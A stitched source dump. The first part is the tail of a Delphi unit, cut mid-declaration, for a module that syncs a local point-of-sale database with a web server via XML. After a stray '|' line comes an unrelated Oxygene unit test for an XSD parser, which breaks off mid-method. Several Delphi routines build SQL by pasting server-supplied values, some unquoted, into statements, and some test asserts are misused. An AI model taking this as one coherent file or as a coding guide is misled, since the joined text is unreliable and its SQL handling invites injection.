nestedAttribute: string = ''; fkName: string = ''): string; virtual;
function translateValueFromServer(fieldName, value: string): string; virtual;
procedure redirectRecord(idAntigo, idNovo: integer);
function getFieldAdditionalList(node: IXMLDomNode): string; virtual;
function getFieldAdditionalValues(node: IXMLDomNode): string; virtual;
function getFieldAdditionalUpdateList(node: IXMLDomNode): string; virtual;
function nomeActionSave: string; virtual;
function nomeActionGet: string; virtual;
function nomeSingularSave: string; virtual;
function nomeSingularGet: string; virtual;
procedure updateSingletonRecord(node: IXMLDOMNode);
function getOrderBy: string; virtual;
procedure addMoreParams(ds: TDataSet; params: TStringList); virtual;
procedure prepareMultipartParams(ds: TDataSet;
multipartParams: TIdMultiPartFormDataStream); virtual; abstract;
function singleton: boolean;
function getUpdateBaseSQL(node: IXMLDOMNode): string;
procedure addDetails(ds: TDataSet; params: TStringList);
function addTranslatedParams(ds: TDataSet;
params: TStringList;
translations: TTranslationSet; nestedAttribute: string = ''): IXMLDomDocument2;
function getAdditionalSaveConditions: string; virtual;
procedure beforeUpdateRecord(id: integer); virtual;
function gerenciaRedirecionamentos(idLocal, idRemoto: integer): boolean; virtual;
function getNewDataPrincipal: IDataPrincipal; virtual; abstract;
function maxRecords: integer; virtual;
function getTimeoutValue: integer; virtual;
function getDateFormat: String; virtual;
function getAdditionalDetailFilter:String; virtual;
function shouldContinue: boolean;
procedure onDetailNamesMalformed(configName, tableName: string); virtual;
function getIncludeFieldNameOnList(const aDMLOperation: TDMLOperation; const aFieldName: string): boolean; virtual;
function getObjectsList: string; virtual;
function getUpdateStatement(node: IXMLDomNode; const id: integer): String; virtual;
function getInsertStatement(node: IXMLDomNode): String; virtual;
function getNewId: Integer; virtual; abstract;
function post(ds: TDataSet; http: TidHTTP; url: string): string; virtual;
public
translations: TTranslationSet;
verbose: boolean;
property notifier: ISincronizacaoNotifier read Fnotifier write Fnotifier;
property threadControl: IThreadControl read FthreadControl write SetthreadControl;
property CustomParams: ICustomParams read FCustomParams write FCustomParams;
property dmPrincipal: IDataPrincipal read getdmPrincipal write SetdmPrincipal;
property stopOnPostRecordError: boolean read FstopOnPostRecordError write FstopOnPostRecordError;
function buildRequestURL(nomeRecurso: string; params: string = ''; httpAction: THttpAction = haGet): string; virtual; abstract;
procedure getDadosAtualizados(http: TIdHTTP = nil);
function saveRecordToRemote(ds: TDataSet; var salvou: boolean; http: TidHTTP = nil): IXMLDomDocument2;
procedure migrateSingletonTableToRemote;
procedure postRecordsToRemote(http: TidHTTP = nil); virtual;
class procedure updateDataSets; virtual;
procedure afterDadosAtualizados; virtual;
function getHumanReadableName: string; virtual;
property DataLog: ILog read FDataLog write SetDataLog;
destructor Destroy; override;
end;
TDataIntegradorModuloWebClass = class of TDataIntegradorModuloWeb;
var
DataIntegradorModuloWeb: TDataIntegradorModuloWeb;
implementation
uses AguardeFormUn, ComObj;
{$R *.dfm}
function TDataIntegradorModuloWeb.extraGetUrlParams: String;
begin
result := '';
end;
function TDataIntegradorModuloWeb.getObjectsList: string;
begin
Result := '/' + dasherize(nomePlural) + '//' + dasherize(nomeSingular);
end;
procedure TDataIntegradorModuloWeb.getDadosAtualizados(http: TIdHTTP = nil);
var
url, xmlContent: string;
doc: IXMLDomDocument2;
list : IXMLDomNodeList;
i, numRegistros: integer;
node : IXMLDomNode;
keepImporting: boolean;
begin
keepImporting := true;
while keepImporting do
begin
if (not self.shouldContinue) then
Break;
url := getRequestUrlForAction(false, ultimaVersao) + extraGetUrlParams;
if notifier <> nil then
notifier.setCustomMessage('Buscando ' + getHumanReadableName + '...');
log('Iniciando busca classe: ' + self.ClassName, 'Sync');
numRegistros := 0;
xmlContent := getRemoteXmlContent(url, http);
if trim(xmlContent) <> '' then
begin
doc := CoDOMDocument60.Create;
doc.loadXML(xmlContent);
list := doc.selectNodes(Self.getObjectsList);
numRegistros := list.length;
if notifier <> nil then
notifier.setCustomMessage(IntToStr(numRegistros) + ' novos');
for i := 0 to numRegistros-1 do
begin
if (not self.shouldContinue) then
Break;
if notifier <> nil then
notifier.setCustomMessage('Importando ' + getHumanReadableName + ': ' + IntToStr(i+1) +
'/' + IntToStr(numRegistros));
node := list.item[i];
if node<>nil then
importRecord(node);
end;
end;
keepImporting := (maxRecords > 0) and (numRegistros >= maxRecords);
end;
afterDadosAtualizados;
end;
function TDataIntegradorModuloWeb.getHumanReadableName: string;
begin
result := ClassName;
end;
function TDataIntegradorModuloWeb.maxRecords: integer;
begin
result := 0;
end;
procedure TDataIntegradorModuloWeb.importRecord(node : IXMLDomNode);
var
id: integer;
statement: string;
begin
if not singleton then
begin
id := strToIntDef(node.selectSingleNode(dasherize(nomePKRemoto)).text, -1);
if id >= 0 then
begin
dmPrincipal.startTransaction;
try
if jaExiste(id) then
begin
statement := Self.GetUpdateStatement(node, id);
Self.updateRecord(statement, id);
end
else
begin
statement := Self.getInsertStatement(node);
insertRecord(statement);
end;
dmPrincipal.commit;
except
on E:Exception do
begin
dmPrincipal.rollBack;
if Self.DataLog <> nil then
Self.DataLog.log(Format('Erro ao importar a tabela "%s": "%s". '+ #13#10 + 'Comando: "%s"', [self.nomeTabela, e.Message, statement]));
end;
end;
end;
end
else
updateSingletonRecord(node);
end;
function TDataIntegradorModuloWeb.shouldContinue: boolean;
begin
Result := true;
if Self.FThreadControl <> nil then
result := Self.FThreadControl.getShouldContinue;
end;
function TDataIntegradorModuloWeb.singleton: boolean;
begin
result := (nomePKLocal = '') and (nomePKRemoto = '');
end;
function TDataIntegradorModuloWeb.jaExiste(id: integer): boolean;
var
qry: string;
begin
if duasVias then
qry := 'SELECT count(1) FROM ' + nomeTabela + ' where idRemoto = ' + IntToStr(id)
else
qry := 'SELECT count(1) FROM ' + nomeTabela + ' where ' + nomePKLocal + ' = ' + IntToStr(id);
result := dmPrincipal.getSQLIntegerResult(qry) > 0;
end;
procedure TDataIntegradorModuloWeb.beforeUpdateRecord(id: integer);
begin
end;
function TDataIntegradorModuloWeb.getUpdateStatement(node: IXMLDomNode; const id: integer): String;
begin
if duasVias then
Result := getUpdateBaseSQL(node) + ' WHERE idRemoto = ' + IntToStr(id)
else
Result := getUpdateBaseSQL(node) + ' WHERE ' + nomePKLocal + ' = ' + IntToStr(id);
end;
function TDataIntegradorModuloWeb.getInsertStatement(node: IXMLDomNode): String;
begin
Result := 'INSERT INTO ' + nomeTabela + getFieldList(node) + ' values ' + getFieldValues(node);
end;
procedure TDataIntegradorModuloWeb.updateRecord(const aUpdateStatement: string; const id: integer);
begin
beforeUpdateRecord(id);
dmPrincipal.execSQL(aUpdateStatement);
end;
procedure TDataIntegradorModuloWeb.UpdateRecordDetalhe(pNode: IXMLDomNode; pTabelasDetalhe : array of TTabelaDetalhe);
var
i,j : integer;
vNode : IXMLDomNode;
vNodeList, List: IXMLDOMNodeList;
vIdRemoto, vPkLocal : String;
vNomePlural, vNomeSingular: string;
begin
try
for i := low(pTabelasDetalhe) to high(pTabelasDetalhe) do
begin
vNomePlural := pTabelasDetalhe[i].nomePluralDetalhe;
vNomeSingular := pTabelasDetalhe[i].nomeSingularDetalhe;
if VNomePlural = EmptyStr then
begin
onDetailNamesMalformed(pTabelasDetalhe[i].nomeTabela, 'NomePlural');
exit;
end;
if vNomeSingular = EmptyStr then
begin
onDetailNamesMalformed(pTabelasDetalhe[i].nomeTabela, 'NomeSingular');
exit;
end;
vNode := pNode.selectSingleNode('./' + dasherize(vNomePlural));
vNodeList := vNode.selectNodes('./' + dasherize(vNomeSingular));
for j := 0 to vNodeList.length - 1 do
begin
vIdRemoto := vNodeList[j].selectSingleNode('./id').text;
vPkLocal := vNodeList[j].selectSingleNode('./original-id').text;
if duasVias then
dmPrincipal.execSQL('UPDATE ' + pTabelasDetalhe[i].nomeTabela + ' SET salvouRetaguarda = ' +
QuotedStr('S') + ', idRemoto = ' + vIdRemoto +
' WHERE salvouRetaguarda = ''N'' and ' + pTabelasDetalhe[i].nomePK + ' = ' + vPkLocal) ;
end;
if (Length(pTabelasDetalhe[i].tabelasDetalhe) > 0) and (vNode <> nil) then
Self.UpdateRecordDetalhe(vNode, pTabelasDetalhe[i].tabelasDetalhe);
end;
except
raise;
end;
end;
procedure TDataIntegradorModuloWeb.updateSingletonRecord(node: IXMLDOMNode);
begin
if dmPrincipal.getSQLIntegerResult('SELECT count(1) from ' + nomeTabela) < 1 then
dmPrincipal.execSQL('Insert into ' + nomeTabela + ' DEFAULT VALUES');
dmPrincipal.execSQL(getUpdateBaseSQL(node));
end;
function TDataIntegradorModuloWeb.getUpdateBaseSQL(node: IXMLDOMNode): string;
begin
result := 'UPDATE ' + nomeTabela + getFieldUpdateList(node);
end;
procedure TDataIntegradorModuloWeb.insertRecord(const aInsertStatement: string);
begin
dmPrincipal.execSQL(aInsertStatement);
end;
function TDataIntegradorModuloWeb.getFieldList(node: IXMLDomNode): string;
var
i: integer;
name: string;
begin
result := '(';
if duasVias and ((nomeGenerator <> '') or (usePKLocalMethod)) then
result := result + nomePKLocal + ', ';
if duasVias then
result := result + 'salvouRetaguarda, ';
for i := 0 to node.childNodes.length - 1 do
begin
name := translateFieldNameServerToPdv(node.childNodes.item[i]);
if name <> '*' then
if Self.getIncludeFieldNameOnList(dmInsert, name) then
result := result + name + ', ';
end;
result := copy(result, 0, length(result)-2);
result := result + getFieldAdditionalList(node);
result := result + ')';
end;
function TDataIntegradorModuloWeb.getFieldValues(node: IXMLDomNode): string;
var
i: integer;
name: string;
begin
result := '(';
if duasVias and ((nomeGenerator <> '') or (usePKLocalMethod)) then
begin
if nomeGenerator <> '' then
result := result + 'gen_id(' + nomeGenerator + ',1), '
else
Result := Result + IntToStr(getNewId) + ', ';
end;
if duasVias then
result := result + QuotedStr('S') + ', ';
for i := 0 to node.childNodes.length - 1 do
begin
name := translateFieldNameServerToPdv(node.childNodes.item[i]);
if name <> '*' then
if Self.getIncludeFieldNameOnList(dmInsert, name) then
result := result + translateFieldValue(node.childNodes.item[i]) + ', ';
end;
result := copy(result, 0, length(result)-2);
result := result + getFieldAdditionalValues(node);
result := result + ')';
end;
function TDataIntegradorModuloWeb.getFieldUpdateList(node: IXMLDomNode): string;
var
i: integer;
name: string;
begin
result := ' set ';
for i := 0 to node.childNodes.length - 1 do
begin
name := translateFieldNameServerToPdv(node.childNodes.item[i]);
if name <> '*' then
if Self.getIncludeFieldNameOnList(dmUpdate, name) then
result := result + ' ' + translateFieldNameServerToPdv(node.childNodes.item[i]) + ' = ' +
translateFieldValue(node.childNodes.item[i]) + ', ';
end;
result := copy(result, 0, length(result)-2);
result := result + getFieldAdditionalUpdateList(node);
end;
function TDataIntegradorModuloWeb.getIncludeFieldNameOnList(const aDMLOperation: TDMLOperation; const aFieldName: string): boolean;
begin
Result := True;
end;
function TDataIntegradorModuloWeb.getRequestUrlForAction(toSave: boolean; versao: integer = -1): string;
var
nomeRecurso: string;
begin
if toSave then
begin
nomeRecurso := nomeActionSave;
Result := buildRequestURL(nomeRecurso, '', haPost);
end
else
begin
nomeRecurso := nomeActionGet;
Result := buildRequestURL(nomeRecurso);
end;
if versao > -1 then
result := result + '&version=' + IntToStr(versao);
end;
function TDataIntegradorModuloWeb.ultimaVersao: integer;
begin
result := dmPrincipal.getSQLIntegerResult('Select max('+self.getVersionFieldName+') from ' + nomeTabela);
end;
function TDataIntegradorModuloWeb.getVersionFieldName: string;
begin
Result := 'versao';
end;
function TDataIntegradorModuloWeb.translateFieldValue(
node: IXMLDomNode): string;
var
typedTranslate: string;
begin
if (node.attributes.getNamedItem('nil') <> nil) and (node.attributes.getNamedItem('nil').text = 'true') then
result := 'NULL'
else if (node.attributes.getNamedItem('type') <> nil) then
begin
typedTranslate := translateTypeValue(node.attributes.getNamedItem('type').text, node.text);
result := translateValueFromServer(node.nodeName, typedTranslate);
end
else
result := QuotedStr(translateValueFromServer(node.nodeName, node.text));
end;
function TDataIntegradorModuloWeb.translateTypeValue(fieldType, fieldValue: string): string;
begin
result := QuotedStr(fieldValue);
if fieldType = 'integer' then
result := fieldValue
else if fieldType = 'boolean' then
begin
if fieldValue = 'true' then
result := '1'
else
result := '0';
end;
end;
function TDataIntegradorModuloWeb.translateFieldNameServerToPdv(
node: IXMLDomNode): string;
begin
result := translations.translateServerToPDV(node.nodeName, duasVias);
if result = '' then
result := StringReplace(node.nodeName, '-', '', [rfReplaceAll]);
end;
function TDataIntegradorModuloWeb.translateFieldNamePdvToServer(
node: IXMLDomNode): string;
begin
result := translations.translatepdvToServer(node.nodeName);
if result = '' then
result := StringReplace(node.nodeName, '-', '', [rfReplaceAll]);
end;
function TDataIntegradorModuloWeb.addTranslatedParams(ds: TDataSet; params: TStringList;
translations: TTranslationSet; nestedAttribute: string = ''): IXMLDomDocument2;
var
i: integer;
nestingText, nomeCampo, nome, valor: string;
begin
nestingText := '';
if nestedAttribute <> '' then
nestingText := '[' + nestedAttribute + '][]';
for i := 0 to translations.size-1 do
begin
nomeCampo := translations.get(i).pdv;
if ds.FindField(nomeCampo) <> nil then
begin
nome := nomeSingularSave + nestingText + '[' + translations.get(i).server + ']';
valor :=
translateValueToServer(translations.get(i), translations.get(i).pdv,
ds.fieldByName(translations.get(i).pdv), nestedAttribute, translations.get(i).fkName);
//params.Add(nome + '=' + TIdURI.ParamsEncode(valor));
params.Add(nome + '=' + valor);
end;
end;
end;
procedure TDataIntegradorModuloWeb.afterDadosAtualizados;
begin
//
end;
function TDataIntegradorModuloWeb.getTimeoutValue: integer;
begin
Result := 30000;
end;
procedure TDataIntegradorModuloWeb.OnWorkHandler(ASender: TObject; AWorkMode: TWorkMode;
AWorkCount: Int64);
begin
if (Self.FthreadControl <> nil) and (not Self.FthreadControl.getShouldContinue) then
Abort;
end;
function TDataIntegradorModuloWeb.post(ds: TDataSet; http: TidHTTP; url: string): string;
var
params: TStringList;
pStream: TStringStream;
begin
result := '';
if paramsType = ptParam then
begin
params := TStringList.Create;
try
addTranslatedParams(ds, params, translations);
addDetails(ds, params);
addMoreParams(ds, params);
result := http.Post(url, Params);
finally
params.Free;
end;
end;
if paramsType = ptJSON then
begin
pStream := TStringStream.Create;
try
//TODO buscar este pStrem já como JSON
//Params.SaveToStream(pStream, TEncoding.UTF8);
result := http.Post(url, pStream);
finally
pStream.Free;
end;
end;
end;
function TDataIntegradorModuloWeb.saveRecordToRemote(ds: TDataSet;
var salvou: boolean; http: TidHTTP = nil): IXMLDomDocument2;
var
multipartParams: TidMultipartFormDataStream;
xmlContent: string;
doc: IXMLDomDocument2;
idRemoto: integer;
txtUpdate: string;
sucesso: boolean;
strs, stream: TStringStream;
url: string;
criouHttp: boolean;
log: string;
begin
Self.log('Iniciando save record para remote. Classe: ' + ClassName, 'Sync');
salvou := false;
criouHTTP := false;
idRemoto := -1;
if http = nil then
begin
criouHTTP := true;
http := getHTTPInstance;
http.OnWork := Self.OnWorkHandler;
http.ConnectTimeout := Self.getTimeoutValue;
http.ReadTimeout := Self.getTimeoutValue;
end;
try
sucesso := false;
while (not sucesso) do
begin
if (Self.FthreadControl <> nil) and (not Self.FthreadControl.getShouldContinue) then
break;
try
if useMultipartParams then
begin
multiPartParams := TIdMultiPartFormDataStream.Create;
try
stream := TStringStream.Create('');
prepareMultipartParams(ds, multipartParams );
http.Post(getRequestUrlForAction(true, -1), multipartParams, stream);
xmlContent := stream.ToString;
finally
MultipartParams.Free;
end;
end
else
begin
url := getRequestUrlForAction(true, -1);
xmlContent := post(ds, http, url);
end;
sucesso := true;
CoInitialize(nil);
try
doc := CoDOMDocument60.Create;
doc.loadXML(xmlContent);
result := doc;
finally
CoUninitialize;
end;
if duasVias or clientToServer then
begin
txtUpdate := 'UPDATE ' + nomeTabela + ' SET salvouRetaguarda = ' + QuotedStr('S');
if duasVias then
begin
if doc.selectSingleNode('//' + dasherize(nomeSingularSave) + '//id') <> nil then
idRemoto := strToInt(doc.selectSingleNode('//' + dasherize(nomeSingularSave) + '//id').text)
else
idRemoto := StrToInt(doc.selectSingleNode('objects').selectSingleNode('object').selectSingleNode('id').text);
if idRemoto > 0 then
txtUpdate := txtUpdate + ', idRemoto = ' + IntToStr(idRemoto);
end;
txtUpdate := txtUpdate + ' WHERE coalesce(salvouRetaguarda, ''N'') = ''N'' and ' + nomePKLocal + ' = ' + ds.fieldByName(nomePKLocal).AsString;
//da a chance da classe gerenciar redirecionamentos, por exemplo ao descobrir que este registro já
//existia no remoto e era outro registro neste banco de dados.
if not gerenciaRedirecionamentos(ds.fieldByName(nomePKLocal).AsInteger, idRemoto) then
begin
dmPrincipal.startTransaction;
dmPrincipal.execSQL(txtUpdate);
dmPrincipal.commit;
end;
if (Length(TabelasDetalhe) > 0) and (doc.selectSingleNode(dasherize(nomeSingularSave)) <> nil) then
Self.UpdateRecordDetalhe(doc.selectSingleNode(dasherize(nomeSingularSave)), TabelasDetalhe);
end;
except
on e: EIdHTTPProtocolException do
begin
if e.ErrorCode = 422 then
log := Format('Erro ao tentar salvar registro. Classe: %s, Código de erro: %d, Erro: %s.',[ClassName, e.ErrorCode, Self.GetErrorMessage(e.ErrorMessage)])
else if e.ErrorCode = 500 then
log := Format('Erro ao tentar salvar registro. Classe: %s, Código de erro: %d. Erro: Erro interno no servidor. ',[ClassName, e.ErrorCode])
else
log := Format('Erro ao tentar salvar registro. Classe: %s, Código de erro: %d. Erro: %s.',[ClassName, e.ErrorCode, e.ErrorMessage]);
Self.log(log, 'Sync');
raise EIntegradorException.Create(log) ; //Logou, agorra manda pra cima
end;
on E: Exception do
begin
log := 'Erro ao tentar salvar registro. Classe: ' + ClassName + '. Erro: ' + e.Message;
Self.log(log, 'Sync');
raise EIntegradorException.Create(log) ;
end;
end;
end;
salvou := sucesso;
finally
if criouHttp then
FreeAndNil(http);
end;
end;
procedure TDataIntegradorModuloWeb.Log(const aLog: string; aClasse: string = '');
begin
if (FDataLog <> nil) then
FDataLog.log(aLog, aClasse);
end;
procedure TDataIntegradorModuloWeb.SetDataLog(const Value: ILog);
begin
FDataLog := Value;
end;
function TDataIntegradorModuloWeb.GetErrorMessage(const aXML: string): string;
var
node: IXMLNode;
list: IXMLNodeList;
XML: IXMLDocument;
begin
Result := EmptyStr;
if Trim(aXML) <> EmptyStr then
begin
CoInitialize(nil);
XML := TXMLDocument.Create(Self);
try
XML.LoadFromXML(aXML);
list := XML.ChildNodes;
if list.FindNode('errors') <> nil then
begin
list := list.FindNode('errors').ChildNodes;
if list <> nil then
begin
node := list.FindNode('error');
if node <> nil then
Result := node.Text;
end;
end;
finally
CoUninitialize;
end;
end;
end;
procedure TDataIntegradorModuloWeb.addDetails(ds: TDataSet; params: TStringList);
var
i : integer;
begin
for i := low(tabelasDetalhe) to high(tabelasDetalhe) do
addTabelaDetalheParams(ds.fieldByName(nomePKLocal).AsInteger, params, tabelasDetalhe[i]);
end;
procedure TDataIntegradorModuloWeb.addTabelaDetalheParams(valorPK: integer;
params: TStringList;
tabelaDetalhe: TTabelaDetalhe);
var
qry: TSQLDataSet;
i: integer;
begin
qry := dmPrincipal.getQuery;
try
qry.commandText := 'SELECT * FROM ' + tabelaDetalhe.nomeTabela + ' where ' + tabelaDetalhe.nomeFK +
' = ' + IntToStr(valorPK) + self.getAdditionalDetailFilter;
qry.Open;
while not qry.Eof do
begin
addTranslatedParams(qry, params, tabelaDetalhe.translations, tabelaDetalhe.nomeParametro);
for i := low(tabelaDetalhe.tabelasDetalhe) to high(tabelaDetalhe.tabelasDetalhe) do
addTabelaDetalheParams(qry.fieldByName(tabelaDetalhe.nomePK).AsInteger, params, tabelaDetalhe.tabelasDetalhe[i]);
qry.Next;
end;
finally
FreeAndNil(qry);
end;
end;
function TDataIntegradorModuloWeb.getAdditionalDetailFilter: String;
begin
Result := EmptyStr;
end;
procedure TDataIntegradorModuloWeb.migrateSingletonTableToRemote;
var
qry: TSQLDataSet;
salvou: boolean;
begin
qry := dmPrincipal.getQuery;
try
qry.CommandText := 'SELECT * FROM ' + nomeTabela;
qry.Open;
saveRecordToRemote(qry, salvou);
finally
FreeAndNil(qry);
end;
end;
procedure TDataIntegradorModuloWeb.postRecordsToRemote(http: TidHTTP = nil);
var
qry: TSQLDataSet;
salvou: boolean;
n, total: integer;
criouHTTP: boolean;
begin
criouHTTP := false;
qry := dmPrincipal.getQuery;
try
try
Self.log('Selecionando registros para sincronização. Classe: ' + ClassName, 'Sync');
qry.commandText := 'SELECT * from ' + nomeTabela + ' where ((salvouRetaguarda = ' + QuotedStr('N') + ') or (salvouRetaguarda is null)) '
+ getAdditionalSaveConditions;
qry.Open;
total := qry.RecordCount;
n := 1;
if http = nil then
begin
criouHTTP := true;
http := TIdHTTP.Create(nil);
http.ProtocolVersion := pv1_1;
http.HTTPOptions := http.HTTPOptions + [hoKeepOrigProtocol];
http.Request.Connection := 'keep-alive';
end;
qry.First;
while not qry.Eof do
begin
if (not self.shouldContinue) then
break;
if notifier <> nil then
begin
notifier.setCustomMessage('Salvando ' + getHumanReadableName +
' ' + IntToStr(n) + '/' + IntToStr(total));
end;
inc(n);
try
saveRecordToRemote(qry, salvou, http);
except
on e: Exception do
begin
Self.log('Erro no processamento do postRecordsToRemote. Classe: ' + ClassName +' | '+ e.Message, 'Sync');
if stopOnPostRecordError then
raise;
end;
end;
qry.Next;
end;
if notifier <> nil then
notifier.unflagSalvandoDadosServidor;
Self.log('Commitando post de records para remote. Classe: ' + ClassName, 'Sync')
except
Self.log('Erro no processamento do postRecordsToRemote. Classe: ' + ClassName, 'Sync');
if stopOnPostRecordError then
raise;
end;
finally
FreeAndNil(qry);
if criouHTTP and (http<>nil) then
FreeAndNil(http);
end;
end;
procedure TDataIntegradorModuloWeb.redirectRecord(idAntigo, idNovo: integer);
var
i: integer;
nomeFK: string;
begin
beforeRedirectRecord(idAntigo, idNovo);
//Para cada tabela que referenciava esta devemos dar o update do id antigo para o novo
for i:= low(tabelasDependentes) to high(tabelasDependentes) do
begin
nomeFK := tabelasDependentes[i].nomeFK;
if nomeFK = '' then
nomeFK := nomePKLocal;
dmPrincipal.execSQL('UPDATE ' + tabelasDependentes[i].nomeTabela +
' set ' + nomeFK + ' = ' + IntToStr(idNovo) +
' where ' + nomeFK + ' = ' + IntToStr(idAntigo));
dmPrincipal.refreshData;
end;
//E então apagar o registro original
dmPrincipal.execSQL('DELETE FROM ' + nomeTabela + ' where ' +
nomePKLocal + ' = ' + IntToStr(idAntigo));
end;
{ TTranslationSet }
procedure TTranslationSet.add(serverName, pdvName: string;
lookupRemoteTable: string = ''; fkName: string = '');
var
tam: integer;
begin
tam := length(translations);
SetLength(translations, tam + 1);
translations[tam].server := serverName;
translations[tam].pdv := pdvName;
translations[tam].lookupRemoteTable := lookupRemoteTable;
translations[tam].fkName := fkName;
end;
procedure TDataIntegradorModuloWeb.beforeRedirectRecord(idAntigo, idNovo: integer);
begin
//
end;
procedure TTranslationSet.clear;
begin
SetLength(translations, 0);
end;
constructor TTranslationSet.create(owner: TComponent);
begin
SetLength(translations, 0);
end;
function TTranslationSet.get(index: integer): TNameTranslation;
begin
result := translations[index];
end;
function TTranslationSet.size: integer;
begin
result := length(translations);
end;
function TTranslationSet.translatePDVToServer(pdvName: string): string;
var
i: integer;
begin
result := '';
for i := low(translations) to high(translations) do
if translations[i].pdv = pdvName then
result := translations[i].server;
end;
function TTranslationSet.translateServerToPDV(serverName: string; duasVias: boolean): string;
var
i: integer;
begin
result := '';
if duasVias and (upperCase(serverName) = 'ID') then
result := 'idRemoto'
else
for i := low(translations) to high(translations) do
if translations[i].server = underscorize(serverName) then
begin
result := translations[i].pdv;
break;
end;
end;
procedure TDataIntegradorModuloWeb.DataModuleCreate(Sender: TObject);
begin
verbose := false;
duasVias := false;
clientToServer := false;
translations := TTranslationSet.create(self);
nomePKLocal := 'id';
nomePKRemoto := 'id';
SetLength(tabelasDependentes, 0);
nomeGenerator := '';
usePKLocalMethod := false;
useMultipartParams := false;
paramsType := ptParam;
FstopOnPostRecordError := true;
end;
destructor TDataIntegradorModuloWeb.Destroy;
var
i: integer;
begin
for i := Low(Self.tabelasDetalhe) to High(Self.tabelasDetalhe) do
Self.tabelasDetalhe[i].Free;
inherited;
end;
function TDataIntegradorModuloWeb.translateValueToServer(translation: TNameTranslation;
fieldName: string; field: TField; nestedAttribute: string = ''; fkName: string = ''): string;
var
lookupIdRemoto: integer;
fk: string;
begin
if translation.lookupRemoteTable <> '' then
begin
if (field.asInteger >= 0) and not(field.IsNull) then
begin
if fkName = '' then
fk := translation.pdv
else
fk := fkName;
lookupIdRemoto := dmPrincipal.getSQLIntegerResult('SELECT idRemoto FROM ' +
translation.lookupRemoteTable +
' WHERE ' + fk + ' = ' + field.AsString);
if lookupIdRemoto > 0 then
result := IntToStr(lookupIdRemoto)
else
result := '';
end
else
result := '';
end
else
begin
if field.DataType in [ftFloat, ftBCD, ftFMTBCD, ftCurrency] then
begin
try
FormatSettings.DecimalSeparator := '.';
FormatSettings.ThousandSeparator := #0;
result := field.AsString;
finally
FormatSettings.DecimalSeparator := ',';
FormatSettings.ThousandSeparator := '.';
end;
end
else if field.DataType in [ftDateTime, ftTimeStamp] then
begin
if field.IsNull then
result := 'NULL'
else
//result := FormatDateTime('yyyy-mm-dd"T"hh:nn:ss', field.AsDateTime);
result := FormatDateTime(Self.getDateFormat , field.AsDateTime);
end
else if field.DataType in [ftDate] then
begin
if field.IsNull then
result := 'NULL'
else
result := FormatDateTime('yyyy-mm-dd', field.AsDateTime);
end
else
result := field.asString;
end;
end;
function TDataIntegradorModuloWeb.getDateFormat: String;
begin
Result := 'dd"/"mm"/"yyyy"T"hh":"nn":"ss'
end;
function TDataIntegradorModuloWeb.translateValueFromServer(fieldName,
value: string): string;
begin
result := value;
end;
function TDataIntegradorModuloWeb.getFieldAdditionalList(
node: IXMLDomNode): string;
begin
result := '';
end;
function TDataIntegradorModuloWeb.getFieldAdditionalUpdateList(
node: IXMLDomNode): string;
begin
result := '';
end;
function TDataIntegradorModuloWeb.getFieldAdditionalValues(
node: IXMLDomNode): string;
begin
result := '';
end;
function TDataIntegradorModuloWeb.nomeActionGet: string;
begin
result := nomePlural;
end;
function TDataIntegradorModuloWeb.nomeActionSave: string;
begin
result := nomePlural;
end;
function TDataIntegradorModuloWeb.nomeSingularGet: string;
begin
result := nomeSingular;
end;
function TDataIntegradorModuloWeb.nomeSingularSave: string;
begin
result := nomeSingular;
end;
procedure TDataIntegradorModuloWeb.onDetailNamesMalformed(configName, tableName: string);
begin
self.Log(Format('Tabela detalhe: %s da Classe: %s não possui configuração de %s',[tableName, Self.ClassName, configName]));
end;
function TDataIntegradorModuloWeb.getOrderBy: string;
begin
result := nomePKLocal;
end;
procedure TDataIntegradorModuloWeb.addMoreParams(ds: TDataSet;
params: TStringList);
begin
//nothing to add here
end;
procedure TDataIntegradorModuloWeb.SetdmPrincipal(
const Value: IDataPrincipal);
begin
FdmPrincipal := Value;
end;
procedure TDataIntegradorModuloWeb.SetthreadControl(const Value: IThreadControl);
begin
FthreadControl := Value;
end;
function TDataIntegradorModuloWeb.getdmPrincipal: IDataPrincipal;
begin
if FdmPrincipal = nil then
begin
FdmPrincipal := getNewDataPrincipal;
end;
result := FdmPrincipal;
end;
function TDataIntegradorModuloWeb.getAdditionalSaveConditions: string;
begin
result := '';
end;
class procedure TDataIntegradorModuloWeb.updateDataSets;
begin
//nada a atualizar
end;
function TDataIntegradorModuloWeb.gerenciaRedirecionamentos(idLocal,
idRemoto: integer): boolean;
begin
result := false;
end;
{ TTabelaDetalhe }
constructor TTabelaDetalhe.create;
begin
translations := TTranslationSet.create(nil);
end;
end.
|
namespace TestApplication;
interface
uses
proholz.xsdparser,
RemObjects.Elements.EUnit;
type
ResrictionTest = public class(TestBaseClass)
private
protected
method Setup; override; public;
begin
gettestParser('test');
end;
public
method testIntRestrictions;
method testStringRestrictions;
method testAnnotations;
(**
* Tests a {@link XsdList} value with multiple restrictions.
*)
method testList;
(**
* Asserts if all the {@link Double} based restrictions, i.e. {@link XsdDoubleRestrictions}, parse their values
* properly.
*)
method testDoubleRestrictions() ;
method remainingTypesVerification;
method testExtensionBase;
end;
implementation
method ResrictionTest.testIntRestrictions;
begin
var restrictedNumberOptional:= elements
//.stream()
.where(element -> element.getName().equals('restrictedNumber')).First();
Assert.isNotNil(restrictedNumberOptional);
var restrictedNumber: XsdElement := restrictedNumberOptional;
var complexType: XsdComplexType := restrictedNumber.getXsdComplexType();
Assert.isNotNil(complexType);
var attributes: List<XsdAttribute> := complexType.getXsdAttributes().toList();
Assert.IsNotNil(attributes);
Assert.AreEqual(1, attributes.Count);
var attribute: XsdAttribute := attributes.First;
Assert.AreEqual('restrictedNumberAttr', attribute.getName());
Assert.IsNil(attribute.getType());
Assert.IsNotNil('required', attribute.getUse());
Assert.IsNotNil('restrictedNumberId', attribute.getId());
Assert.AreEqual('qualified', attribute.getForm());
Assert.AreEqual('true', attribute.getFixed());
var simpleType: XsdSimpleType := attribute.getXsdSimpleType();
Assert.IsNotNil(simpleType);
var restriction: XsdRestriction := simpleType.getRestriction();
Assert.IsNotNil(restriction);
var maxInclusive: XsdMaxInclusive := restriction.getMaxInclusive();
var maxExclusive: XsdMaxExclusive := restriction.getMaxExclusive();
var minInclusive: XsdMinInclusive := restriction.getMinInclusive();
var minExclusive: XsdMinExclusive := restriction.getMinExclusive();
var totalDigits: XsdTotalDigits := restriction.getTotalDigits();
var fractionDigits: XsdFractionDigits := restriction.getFractionDigits();
Assert.isNotNil(maxInclusive);
Assert.isNotNil(maxExclusive);
Assert.isNotNil(minInclusive);
Assert.isNotNil(minExclusive);
Assert.isNotNil(totalDigits);
Assert.isNotNil(fractionDigits);
Assert.AreEqual(100.0, maxExclusive.getValue(), 0);
Assert.IsTrue(maxExclusive.isFixed());
